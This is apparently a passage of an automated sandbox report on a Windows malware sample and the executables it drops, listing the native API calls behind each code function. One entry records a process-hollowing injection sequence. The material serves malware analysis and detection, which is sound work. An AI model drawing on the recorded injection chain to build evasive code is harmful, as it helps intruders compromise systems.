Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe	Code function: 1_2_00401830 Sleep,NtTerminateProcess,	1_2_00401830
Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe	Code function: 1_2_00401833 Sleep,NtTerminateProcess,	1_2_00401833
Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe	Code function: 1_2_00401836 Sleep,NtTerminateProcess,	1_2_00401836
Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe	Code function: 1_2_004023D9 NtEnumerateKey,	1_2_004023D9
Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe	Code function: 1_1_00402052 NtQuerySystemInformation,NtQuerySystemInformation,	1_1_00402052
Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe	Code function: 1_1_004023D9 NtEnumerateKey,	1_1_004023D9
Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe	Code function: 1_1_00402403 NtEnumerateKey,NtEnumerateKey,	1_1_00402403
Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe	Code function: 1_1_0040202C NtQuerySystemInformation,NtQuerySystemInformation,	1_1_0040202C
Source: C:\Users\user\AppData\Roaming\hrgjvbv	Code function: 10_2_02BD0110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,	10_2_02BD0110
Source: C:\Users\user\AppData\Roaming\hrgjvbv	Code function: 11_2_00401813 Sleep,NtTerminateProcess,	11_2_00401813
Source: C:\Users\user\AppData\Roaming\hrgjvbv	Code function: 11_2_00401842 Sleep,NtTerminateProcess,	11_2_00401842
Source: C:\Users\user\AppData\Roaming\hrgjvbv	Code function: 11_2_00402052 NtQuerySystemInformation,NtQuerySystemInformation,	11_2_00402052
Source: C:\Users\user\AppData\Roaming\hrgjvbv	Code function: 11_2_00402403 NtEnumerateKey,NtEnumerateKey,	11_2_00402403
Source: C:\Users\user\AppData\Roaming\hrgjvbv	Code function: 11_2_00401812 Sleep,NtTerminateProcess,	11_2_00401812
Source: C:\Users\user\AppData\Roaming\hrgjvbv	Code function: 11_2_0040202C NtQuerySystemInformation,NtQuerySystemInformation,	11_2_0040202C
Source: C:\Users\user\AppData\Roaming\hrgjvbv	Code function: 11_2_00401830 Sleep,NtTerminateProcess,	11_2_00401830
Source: C:\Users\user\AppData\Roaming\hrgjvbv	Code function: 11_2_00401833 Sleep,NtTerminateProcess,	11_2_00401833
Source: C:\Users\user\AppData\Roaming\hrgjvbv	Code function: 11_2_00401836 Sleep,NtTerminateProcess,	11_2_00401836
Source: C:\Users\user\AppData\Roaming\hrgjvbv	Code function: 11_2_004023D9 NtEnumerateKey,	11_2_004023D9
Source: C:\Users\user\AppData\Local\Temp\F72D.exe	Code function: 13_2_00401813 Sleep,NtTerminateProcess,	13_2_00401813
Source: C:\Users\user\AppData\Local\Temp\F72D.exe	Code function: 13_2_00401842 Sleep,NtTerminateProcess,	13_2_00401842
Source: C:\Users\user\AppData\Local\Temp\F72D.exe	Code function: 13_2_00402052 NtQuerySystemInformation,NtQuerySystemInformation,	13_2_00402052
Source: C:\Users\user\AppData\Local\Temp\F72D.exe	Code function: 13_2_00402403 NtEnumerateKey,NtEnumerateKey,	13_2_00402403
Source: C:\Users\user\AppData\Local\Temp\F72D.exe	Code function: 13_2_00401812 Sleep,NtTerminateProcess,	13_2_00401812
Source: C:\Users\user\AppData\Local\Temp\F72D.exe	Code function: 13_2_0040202C NtQuerySystemInformation,NtQuerySystemInformation,	13_2_0040202C
Source: C:\Users\user\AppData\Local\Temp\F72D.exe	Code function: 13_2_00401830 Sleep,NtTerminateProcess,	13_2_00401830
Source: C:\Users\user\AppData\Local\Temp\F72D.exe	Code function: 13_2_00401833 Sleep,NtTerminateProcess,	13_2_00401833
Source: C:\Users\user\AppData\Local\Temp\F72D.exe	Code function: 13_2_00401836 Sleep,NtTerminateProcess,	13_2_00401836
Source: C:\Users\user\AppData\Local\Temp\F72D.exe	Code function: 13_2_004023D9 NtEnumerateKey,	13_2_004023D9
Source: C:\Users\user\AppData\Local\Temp\F72D.exe	Code function: 13_1_00402052 NtQuerySystemInformation,NtQuerySystemInformation,	13_1_00402052
Source: C:\Users\user\AppData\Local\Temp\F72D.exe	Code function: 13_1_004023D9 NtEnumerateKey,	13_1_004023D9
Source: C:\Users\user\AppData\Local\Temp\F72D.exe	Code function: 13_1_00402403 NtEnumerateKey,NtEnumerateKey,	13_1_00402403
Source: C:\Users\user\AppData\Local\Temp\F72D.exe	Code function: 13_1_0040202C NtQuerySystemInformation,NtQuerySystemInformation,	13_1_0040202C
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D289780 ZwMapViewOfSection,LdrInitializeThunk,	23_2_6D289780
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D289600 ZwOpenKey,LdrInitializeThunk,	23_2_6D289600
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D289660 ZwAllocateVirtualMemory,LdrInitializeThunk,	23_2_6D289660
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2899A0 ZwCreateSection,LdrInitializeThunk,	23_2_6D2899A0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D289820 ZwEnumerateKey,LdrInitializeThunk,	23_2_6D289820
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D289860 ZwQuerySystemInformation,LdrInitializeThunk,	23_2_6D289860
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2898C0 ZwDuplicateObject,LdrInitializeThunk,	23_2_6D2898C0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D318D34 RtlGetCurrentServiceSessionId,ZwTraceEvent,	23_2_6D318D34
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D271520 RtlInitializeCriticalSectionEx,RtlGetCurrentServiceSessionId,ZwTraceEvent,	23_2_6D271520
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D289520 ZwWaitForSingleObject,	23_2_6D289520
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2FFD22 ZwQueryInformationProcess,RtlUniform,	23_2_6D2FFD22
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D274D3B memset,RtlRunOnceExecuteOnce,ZwTraceControl,memcmp,RtlNtStatusToDosError,RtlFreeHeap,RtlAllocateHeap,RtlNtStatusToDosError,RtlFreeHeap,	23_2_6D274D3B
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2D1D0B ZwSetInformationProcess,	23_2_6D2D1D0B
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D28AD10 ZwSetCachedSigningLevel,	23_2_6D28AD10
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2D1D6A ZwWaitForMultipleObjects,	23_2_6D2D1D6A
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D306D61 ZwAllocateVirtualMemoryEx,	23_2_6D306D61
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D289D70 ZwAlpcQueryInformation,	23_2_6D289D70
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2D1570 ZwQuerySystemInformation,RtlInitUnicodeString,memset,ZwAlpcConnectPort,ZwAlpcSendWaitReceivePort,ZwClose,	23_2_6D2D1570
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D311D55 ZwFreeVirtualMemory,	23_2_6D311D55
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2C3540 LdrAppxHandleIntegrityFailure,RtlQueryPackageIdentityEx,memset,ZwQueryValueKey,RtlFreeHeap,ZwClose,memset,memset,RtlCaptureContext,RtlReportException,ZwTerminateProcess,	23_2_6D2C3540
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2D1D43 ZwQueryInformationThread,	23_2_6D2D1D43
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D270548 RtlEnterCriticalSection,RtlLeaveCriticalSection,RtlRbInsertNodeEx,ZwQueryVirtualMemory,	23_2_6D270548
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2465A0 RtlpGetDeviceFamilyInfoEnum,RtlInitUnicodeString,ZwQueryLicenseValue,RtlInitUnicodeString,ZwOpenKey,ZwClose,RtlInitUnicodeString,ZwOpenKey,ZwClose,RtlGetVersion,	23_2_6D2465A0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D289DA0 ZwAlpcSendWaitReceivePort,	23_2_6D289DA0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2895B0 ZwSetInformationThread,	23_2_6D2895B0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D289DB0 ZwAlpcSetInformation,	23_2_6D289DB0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D25DD80 RtlAcquireSRWLockShared,ZwQueryVirtualMemory,RtlImageNtHeaderEx,RtlImageNtHeaderEx,RtlImageNtHeaderEx,RtlRaiseStatus,RtlAddressInSectionTable,RtlImageDirectoryEntryToData,	23_2_6D25DD80
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D30B581 RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,ZwTraceEvent,	23_2_6D30B581
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D301582 ZwTraceEvent,	23_2_6D301582
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D243591 ZwSetInformationFile,	23_2_6D243591
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D289DE0 ZwAssociateWaitCompletionPacket,	23_2_6D289DE0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2FEDE6 memset,memset,memset,ZwQueryInstallUILanguage,ZwIsUILanguageComitted,RtlLCIDToCultureName,ZwQueryValueKey,RtlInitUnicodeString,RtlCompareUnicodeStrings,RtlInitUnicodeString,ZwQueryValueKey,ZwEnumerateValueKey,RtlCompareUnicodeStrings,RtlCompareUnicodeStrings,	23_2_6D2FEDE6
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2495F0 TpSetPoolMinThreads,ZwSetInformationWorkerFactory,RtlGetCurrentServiceSessionId,	23_2_6D2495F0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2FBDFA RtlAcquireSRWLockExclusive,ZwAllocateVirtualMemory,RtlReleaseSRWLockExclusive,	23_2_6D2FBDFA
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2895F0 ZwQueryInformationFile,	23_2_6D2895F0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26EDC4 ZwCancelWaitCompletionPacket,	23_2_6D26EDC4
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D244DC0 RtlpUnWaitCriticalSection,RtlRaiseStatus,TpWaitForAlpcCompletion,ZwSetEvent,ZwAlpcQueryInformation,	23_2_6D244DC0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2895C0 ZwSetEvent,	23_2_6D2895C0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2445D0 RtlGetThreadWorkOnBehalfTicket,ZwQueryInformationThread,	23_2_6D2445D0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2895D0 ZwClose,	23_2_6D2895D0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2FFDD3 RtlGetCurrentServiceSessionId,ZwTraceEvent,	23_2_6D2FFDD3
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24E420 RtlpLoadUserUIByPolicy,RtlInitUnicodeString,ZwOpenKey,ZwClose,ZwClose,	23_2_6D24E420
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D28A420 ZwGetNlsSectionPtr,	23_2_6D28A420
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26FC39 ZwAssociateWaitCompletionPacket,	23_2_6D26FC39
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D301411 ZwTraceEvent,	23_2_6D301411
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D318C14 RtlGetCurrentServiceSessionId,ZwTraceEvent,	23_2_6D318C14
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D280413 ZwUnmapViewOfSection,	23_2_6D280413
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D318C75 RtlGetCurrentServiceSessionId,ZwTraceEvent,	23_2_6D318C75
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26746D RtlLeaveCriticalSection,ZwClose,RtlFreeHeap,	23_2_6D26746D
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2F3C60 RtlFlushSecureMemoryCache,ZwQueryVirtualMemory,	23_2_6D2F3C60
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D289C70 ZwAlpcConnectPort,	23_2_6D289C70
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D285C70 TpSetPoolMaxThreadsSoftLimit,ZwSetInformationWorkerFactory,	23_2_6D285C70
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2D1C76 ZwQueryInformationProcess,	23_2_6D2D1C76
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27AC7B ZwFreeVirtualMemory,RtlFillMemoryUlong,RtlFlushSecureMemoryCache,ZwFreeVirtualMemory,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,DbgPrint,DbgPrint,DbgPrint,	23_2_6D27AC7B
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2D1C49 ZwQueryInformationProcess,	23_2_6D2D1C49
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D289C40 ZwAllocateVirtualMemoryEx,	23_2_6D289C40
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D245450 RtlClearThreadWorkOnBehalfTicket,memcmp,ZwSetInformationThread,	23_2_6D245450
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2DC450 RtlReleasePrivilege,ZwAdjustPrivilegesToken,ZwSetInformationThread,ZwClose,RtlFreeHeap,ZwClose,RtlFreeHeap,	23_2_6D2DC450
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24DCA4 ZwIsUILanguageComitted,ZwQueryInstallUILanguage,RtlpMuiRegFreeRegistryInfo,RtlInitUnicodeString,ZwOpenKey,ZwEnumerateKey,RtlInitUnicodeString,ZwOpenKey,RtlInitUnicodeString,ZwClose,ZwClose,RtlpMuiRegFreeRegistryInfo,	23_2_6D24DCA4
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D319CB3 RtlGetCurrentServiceSessionId,ZwTraceEvent,	23_2_6D319CB3
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D280CA1 ZwQuerySecurityAttributesToken,ZwQuerySecurityAttributesToken,ZwQuerySecurityAttributesToken,	23_2_6D280CA1
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D314CAB ZwTraceControl,	23_2_6D314CAB
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D304496 ZwAllocateVirtualMemory,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,	23_2_6D304496
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D28A480 ZwInitializeNlsFiles,	23_2_6D28A480
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2C3C93 wcschr,RtlInitUnicodeString,wcstoul,RtlAnsiStringToUnicodeString,RtlCompareUnicodeString,ZwProtectVirtualMemory,DbgPrintEx,RtlFreeUnicodeString,	23_2_6D2C3C93
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24EC9B RtlInitUnicodeString,ZwOpenKey,RtlpLoadUserUIByPolicy,RtlInitUnicodeString,ZwOpenKey,RtlInitUnicodeString,RtlFreeHeap,ZwClose,ZwClose,RtlInitUnicodeString,ZwOpenKey,RtlAllocateHeap,RtlpLoadMachineUIByPolicy,ZwClose,	23_2_6D24EC9B
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24F4E3 RtlEnterCriticalSection,RtlLeaveCriticalSection,ZwSetEvent,	23_2_6D24F4E3
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2D1CE4 ZwQueryInformationProcess,	23_2_6D2D1CE4
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D3014FB memset,RtlGetCurrentServiceSessionId,ZwTraceEvent,	23_2_6D3014FB
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2F64FB ZwOpenKey,ZwQueryValueKey,RtlEqualUnicodeString,RtlEqualUnicodeString,RtlEqualUnicodeString,ZwClose,	23_2_6D2F64FB
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D318CD6 RtlGetCurrentServiceSessionId,ZwTraceEvent,	23_2_6D318CD6
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27CCC0 memcpy,RtlGetNtSystemRoot,RtlInitUnicodeString,memcpy,ZwOpenKey,ZwClose,ZwEnumerateKey,DbgPrintEx,DbgPrintEx,DbgPrintEx,	23_2_6D27CCC0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D28A4C0 ZwIsUILanguageComitted,	23_2_6D28A4C0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D242CDB RtlFreeHeap,ZwClose,ZwSetEvent,	23_2_6D242CDB
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27E730 RtlDecodePointer,ZwQueryInformationProcess,RtlRaiseStatus,RtlAllocateAndInitializeSid,RtlAllocateHeap,	23_2_6D27E730
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D289730 ZwQueryVirtualMemory,	23_2_6D289730
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2FCF30 ZwAlertThreadByThreadId,	23_2_6D2FCF30
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D279702 RtlAcquireSRWLockExclusive,RtlReleaseSRWLockExclusive,ZwReleaseWorkerFactoryWorker,	23_2_6D279702
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D289710 ZwQueryInformationToken,	23_2_6D289710
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2D6715 memset,memcpy,ZwTraceEvent,	23_2_6D2D6715
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2D176C ZwOpenEvent,ZwWaitForSingleObject,ZwClose,	23_2_6D2D176C
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D246F60 RtlGetPersistedStateLocation,ZwOpenKey,memcpy,RtlInitUnicodeString,ZwOpenKey,RtlInitUnicodeString,RtlAllocateHeap,ZwQueryValueKey,RtlExpandEnvironmentStrings,memcpy,ZwClose,ZwClose,RtlFreeHeap,	23_2_6D246F60
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D28AF60 ZwSetTimer2,	23_2_6D28AF60
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27CF6A memcpy,memcpy,RtlDosPathNameToRelativeNtPathName_U,ZwOpenFile,memcpy,RtlFreeHeap,RtlDeleteBoundaryDescriptor,DbgPrintEx,DbgPrintEx,DbgPrintEx,ZwClose,RtlFreeHeap,DbgPrintEx,memcpy,DbgPrintEx,ZwClose,	23_2_6D27CF6A
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D289F70 ZwCreateIoCompletion,	23_2_6D289F70
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D289770 ZwSetInformationFile,	23_2_6D289770
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D318F6A RtlGetCurrentServiceSessionId,ZwTraceEvent,	23_2_6D318F6A
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2FCF70 RtlpGetUserOrMachineUILanguage4NLS,RtlInitUnicodeString,RtlInitUnicodeString,ZwOpenKey,RtlInitUnicodeString,ZwClose,RtlInitUnicodeString,ZwOpenKey,RtlInitUnicodeString,ZwClose,ZwClose,	23_2_6D2FCF70
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D280F48 ZwOpenKey,ZwClose,ZwClose,ZwCreateKey,RtlInitUnicodeStringEx,ZwSetValueKey,RtlInitUnicodeStringEx,ZwSetValueKey,ZwClose,	23_2_6D280F48
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D289740 ZwOpenThreadToken,	23_2_6D289740
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2CA746 ZwGetCachedSigningLevel,ZwCompareSigningLevels,ZwSetCachedSigningLevel,	23_2_6D2CA746
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27174B ZwFreeVirtualMemory,RtlFlushSecureMemoryCache,ZwFreeVirtualMemory,	23_2_6D27174B
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2D5F5F RtlInitUnicodeString,ZwOpenFile,ZwClose,RtlFreeHeap,RtlFreeHeap,RtlAllocateHeap,RtlInitUnicodeString,ZwQueryDirectoryFile,RtlAllocateHeap,memcpy,RtlFreeHeap,ZwClose,	23_2_6D2D5F5F
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D289750 ZwQueryInformationThread,	23_2_6D289750
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2CA7AC ZwCompareSigningLevels,ZwCompareSigningLevels,	23_2_6D2CA7AC
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2897A0 ZwUnmapViewOfSection,	23_2_6D2897A0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D283FA0 RtlGetLocaleFileMappingAddress,ZwInitializeNlsFiles,ZwUnmapViewOfSection,	23_2_6D283FA0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D242FB0 RtlDestroyHeap,RtlDeleteCriticalSection,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,DbgPrint,DbgPrint,DbgPrint,RtlDebugPrintTimes,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,ZwTraceEvent,RtlGetCurrentServiceSessionId,ZwTraceEvent,	23_2_6D242FB0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2F5F87 ZwUnmapViewOfSection,	23_2_6D2F5F87
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2D5780 DbgPrompt,ZwWow64DebuggerCall,	23_2_6D2D5780
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27FF9C RtlInitUnicodeString,ZwOpenKey,RtlInitUnicodeString,RtlInitUnicodeString,	23_2_6D27FF9C
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2D0FEC ZwDuplicateObject,ZwDuplicateObject,	23_2_6D2D0FEC
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2737EB RtlImageNtHeader,RtlAllocateHeap,RtlAllocateHeap,RtlAllocateHeap,RtlAllocateHeap,ZwCreateIoCompletion,ZwCreateWorkerFactory,RtlAcquireSRWLockExclusive,RtlGetCurrentServiceSessionId,ZwSetInformationWorkerFactory,	23_2_6D2737EB
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D250FFD RtlInitUnicodeString,ZwQueryValueKey,	23_2_6D250FFD
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24F7C0 EtwNotificationUnregister,RtlAcquireSRWLockExclusive,RtlReleaseSRWLockExclusive,ZwClose,RtlReleaseSRWLockExclusive,RtlSetLastWin32Error,	23_2_6D24F7C0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2897C0 ZwTerminateProcess,	23_2_6D2897C0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27D7CA RtlImageNtHeader,RtlFreeHeap,ZwCreateSection,ZwMapViewOfSection,ZwClose,RtlImageNtHeader,ZwClose,RtlFreeHeap,ZwClose,ZwClose,ZwUnmapViewOfSection,	23_2_6D27D7CA
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27DFDF ZwAlertThreadByThreadId,	23_2_6D27DFDF
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D28AFD0 ZwShutdownWorkerFactory,	23_2_6D28AFD0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24E620 memset,RtlInitUnicodeString,ZwOpenKey,RtlInitUnicodeString,ZwClose,RtlFreeHeap,RtlInitUnicodeString,RtlCultureNameToLCID,RtlInitUnicodeString,RtlCultureNameToLCID,	23_2_6D24E620
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D289E20 ZwCancelTimer2,	23_2_6D289E20
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2FFE3F memset,RtlGetCurrentServiceSessionId,ZwTraceEvent,	23_2_6D2FFE3F
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D313E22 ZwTraceControl,RtlNtStatusToDosError,RtlAcquireSRWLockExclusive,RtlReleaseSRWLockExclusive,RtlSetLastWin32Error,	23_2_6D313E22
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24B630 ZwWaitForKeyedEvent,	23_2_6D24B630
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D289E30 ZwCancelWaitCompletionPacket,	23_2_6D289E30
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24C600 LdrQueryImageFileKeyOption,RtlInitUnicodeStringEx,ZwQueryValueKey,RtlFreeHeap,RtlAllocateHeap,ZwQueryValueKey,RtlFreeHeap,RtlUnicodeStringToInteger,memcpy,	23_2_6D24C600
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D282E1C RtlInitializeCriticalSectionEx,ZwDelayExecution,	23_2_6D282E1C
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D289610 ZwEnumerateValueKey,	23_2_6D289610
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2D2E14 RtlGetCurrentServiceSessionId,ZwTraceEvent,	23_2_6D2D2E14
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27BE62 ZwProtectVirtualMemory,RtlGetCurrentTransaction,	23_2_6D27BE62
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D28AE70 ZwSetInformationWorkerFactory,	23_2_6D28AE70
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D289670 ZwQueryInformationProcess,	23_2_6D289670
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D28B640 RtlUnhandledExceptionFilter,ZwTerminateProcess,	23_2_6D28B640
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D28B650 RtlUnhandledExceptionFilter,ZwTerminateProcess,	23_2_6D28B650
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D289650 ZwQueryValueKey,	23_2_6D289650
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2D6652 ZwClose,RtlAllocateHeap,memcpy,ZwUnmapViewOfSection,	23_2_6D2D6652
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D289EA0 ZwCompareSigningLevels,	23_2_6D289EA0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D313EBC ZwTraceControl,RtlNtStatusToDosError,RtlSetLastWin32Error,	23_2_6D313EBC
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2D2EA3 RtlGetCurrentServiceSessionId,ZwTraceEvent,	23_2_6D2D2EA3
